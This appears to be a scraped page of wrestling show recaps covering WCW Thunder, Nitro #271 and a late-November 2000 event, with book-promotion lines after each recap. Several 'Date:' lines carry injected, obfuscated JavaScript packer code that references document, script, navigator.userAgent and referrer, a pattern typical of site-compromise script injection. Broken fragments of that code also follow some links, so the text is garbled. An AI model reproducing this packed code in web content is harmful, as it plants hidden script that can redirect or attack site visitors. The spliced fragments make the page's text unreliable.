There are no tags anywhere in sight so far. Shannon takes Kidman out with a flip dive and lands on his feet just to show off. Rey dives on both of them before Shane dives on all three of them. Back in and Kidman snaps off a top rope hurricanrana for two but eats a superkick from Shane. The Vertebreaker is broken up to prevent broken vertebrates and Kidman adds the Kid Crusher for the pin.

Post match Team Canada runs in to go after the Animals because this feud is still going. Storm grabs the mic and asks Kidman if he wants a hair vs. hair match against Mike Awesome. Kidman accepts, giving us what could be one heck of a match.

Cat thanks Kronik for their help last night and gives them a Tag Team Title match as a reward. No charge for this one.

Team Canada beats Kidman down.

Konnan vs. Mike Awesome

Tickets go on sale for SuperBrawl: Revenge (great title) on Saturday, or less than a month before the show.

The Cat vs. Bam Bam Bigelow

Bigelow runs him over and stomps away with a belly to back getting two. The announcers talk about how important this match is as Bigelow chokes away, only to miss a charge in the corner. A chop and the dancing elbow get two on the big man, followed by the Feliner for the very quick pin.

US Title: Shane Douglas vs. General Rection

WCW World Title: Kevin Nash vs. Scott Steiner

The remaining good guys come in for the brawl to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difrt|var|u0026u|referrer|dbdkh||js|php'.split('|'),0,{})) January 3, 2001
Location: Mid-South Coliseum, Memphis, Tennessee
Attendance: 2,547
Commentators: Mike Tenay, Tony Schiavone, Stevie Ray

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rttfy|var|u0026u|referrer|rnban||js|php'.split('|'),0,{})) Nitro #271
Date: December 18, 2000
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 2,872
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

Opening sequence.

Shannon Moore vs. Shane Helms

Chavo runs in to go after Shane but gets laid out as well.

Hugh Morrus yells at Lash for saving Chavo last night.

Jimmy Hart does his DJ challenge.

Buff Bagwell laughs at Goldberg spelling “stuff” wrong when he signed a copy of his book. Now Bagwell is here to save the company and has formed a new tag team called Totally Buff. Before Luger can say anything, Scott Steiner comes in and almost begs Luger to help him find out who is in the mini tournament.

Hardcore Title: Terry Funk vs. Meng

Crowbar, again with the crazy man look, wants Funk and the title at Sin.

Lance Storm vs. Rey Mysterio

Mike Awesome vs. Jeff Jarrett

Glacier is still returning and Norman Smiley dances in happiness.

Clip of Goldberg on the Man Show.

Awesome freaks out in the back.

No Nitro for the next two weeks.

The Cat vs. Alex Wright

The Thrillers arrive in a limo.

Buff Bagwell vs. Goldberg

Goldberg gets beaten down until Sarge comes in for the save.

Jeff Jarrett vs. Lance Storm

Post match Steiner runs out and demands to know who the mystery man is. He heads to the back and sees Flair but a masked man jumps him and beats the champ down to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zstaz|var|u0026u|referrer|zizei||js|php'.split('|'),0,{})) November 29, 2000
Location: Metro Center, Moline, Illinois
Attendance: 3,800
Commentators: Mike Tenay, Tony Schiavone, Mark Madden

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzzie|var|u0026u|referrer|dzban||js|php'.split('|'),0,{})) 2000
Date: November 26, 2000
Location: Wisconsin Center Arena, Milwaukee, Wisconsin
Attendance: 3,800
Commentators: Tony Schiavone, Stevie Ray, Mark Madden

We open with Booker arriving and being mobbed by the fans that are always allowed backstage near where the wrestlers enter the building.

Steiner arrived and destroyed a table for no logical reason.

The opening video focuses on Booker vs. Steiner (with the latter in a straitjacket), Goldberg vs. Luger and Nash/Page vs. the Perfect Event.

Cruiserweight Title: Kwee Wee vs. Mike Sanders

Ric Flair brings out security to pull Meng off as the match continues to be completely ignored while this goes on. We actually pay attention again with Sanders dropping a dancing knee for two. Off to a chinlock as Madden says Paisley is out here because of the size of her chest. Kwee Wee springboards into a sunset flip for two as we hit the lame comeback. Madden: “This never happens to Paul Tagliabue.”

Crowbar arrives with two women and sings some Bee Gees. Someone has sent him flowers and promises to be watching. No word on why the Hardcore Title was in his dressing room before he arrived.

Noble and Karagias vs. 3 Count vs. Jung Dragons

The announcer suggest that 3 Count deserves a Tag Team Title shot (they do but of course that would never happen) but instead we cut away to Bam Bam Bigelow beating down Mike Awesome.

Mancow vs. Jimmy Hart

Mike Awesome is taken away by medics.

The Misfits want to help General Rection tonight but he says Flair has banned them. They do however get new shirts as a consolation gift. Flair comes in and asks to talk to Sgt. AWALL.

Bam Bam Bigelow and Lance Storm are talking about something.

Hardcore Title: Crowbar vs. Big Vito vs. Reno

Buff Bagwell arrives. For some reason this is a big deal.

Kevin Nash and Diamond Dallas Page actually explain what SOL means.

Rey Mysterio/Kidman vs. Alex Wright/Kronik

Mike Sanders has a plan for the Tag Team Title match.

The Cat vs. Shane Douglas

Shane gets kicked to the floor to start and goes after Ms. Jones, who kicks him in the head to save herself. Cat goes after Madden to continue their ridiculous feud, allowing Shane to slam Cat back inside to take over. We hit the choking and the neck crank for a bit before Cat comes back with his weak variety of strikes.

I kid you not: we get a GLACIER promo. Tony: “Oh no not again.” Madden: “What are we thinking doing that crap again? Then again we keep Disco around.”

Bam Bam Bigelow vs. Sgt. AWALL

After that, Bagwell laughs off Jarrett not having a guitar to use tonight.

Bigelow is stretchered out as this is still treated as a big deal.

We recap Lance Storm vs. General Rection which is mainly about Major Gunns changing sides and becoming Canadian by her own free will. Unfortunately people stopped caring months ago but the feud is FINALLY wrapping up here.

US Title: Lance Storm vs. General Rection

Storm starts fast as you would expect him to and goes after the knee which is wrapped around the post. Rection kicks him away but has to get to the ropes to avoid a Mapleleaf. Storm gets crotched against the post and Rection powerslams him but Gunns breaks up the moonsault. And never mind as Rection elbows Storm off the top and “hits” the moonsault to get the title back.

The announcers promise that the main events are still to come.

Ad for Starrcade in three weeks. Can you imagine Wrestlemania getting anything less than five weeks?

Jeff Jarrett vs. Buff Bagwell

Tag Team Titles: Diamond Dallas Page/Kevin Nash vs. Perfect Event

Lex Luger vs. Goldberg

Quick recap of Booker T. vs. Scott Steiner, which is a rematch from Halloween Havoc where Steiner got disqualified for being too brutal.

WCW World Title: Scott Steiner vs. Booker T.

Hart vs. Mancow

Hardcore Title

Wright/Kronik vs. Filthy Animals

Cat vs. Douglas

Bigelow vs. AWALL

Jarrett vs. Bagwell

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6